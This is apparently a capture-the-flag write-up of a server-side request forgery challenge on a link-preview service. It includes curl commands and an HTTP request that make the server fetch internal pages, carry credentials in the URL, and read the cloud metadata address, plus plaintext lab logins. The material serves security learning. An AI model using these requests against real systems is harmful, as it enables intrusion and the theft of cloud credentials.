Challenge

A page that previews a link. You POST a url and an element, the server fetches the URL with the request library and returns the contents of that element. The error you get from an empty request gives away exactly how it works:

1
2
3
4
$ curl 'http://10.1.10.50:3000/title' -X POST
Error: undefined is not a valid uri or options object.
    at request (/app/node_modules/request/index.js:44:11)
    at /app/server.js:114:3

So the body is url=<address>&element=<selector>, and whatever the server fetches gets parsed for the element you name. Server-side request forgery.

Approach

The server makes the request, not the browser, so the url can point anywhere the server can reach. Pointing it at internal hosts and scanning ports turned up service responses that the front end was never meant to show.

There is an /admin page, but it is gated to internal callers. Credentials for it came from a sibling challenge: a base64 blob in an image that decoded to ROT13, which in turn gave a set of logins.

Joker:LeBlancForever123
Akechi:PancakesAreLife!!
Morgana:AnnIsBae<3

You can carry HTTP basic auth in the URL itself with the user:pass@host form, so the SSRF can authenticate on the way in:

1
2
3
4
$ curl 'http://10.1.10.50:3000/title' -X POST \
  --data-raw 'url=http://Joker:LeBlancForever123@localhost:3000/admin&element=html'

Title of ...admin is: Security Error: Only accessible via internal addresses

Solution

The reliable target was the cloud metadata address. Setting url to http://169.254.169.254 and asking for the body element pulls the metadata response straight back through the preview:

Burp request setting url to the 169.254.169.254 metadata IP, with the response reading “This is not AWS. d4rks1d3r”

POST /title HTTP/1.1
Host: 10.1.10.50:3000
Content-Type: application/x-www-form-urlencoded

url=http%3A%2F%2F169.254.169.254&element=body
HTTP/1.1 200 OK
X-Powered-By: Express

This is not AWS. d4rks1d3r

The server happily fetched the internal-only metadata IP and reflected the response back.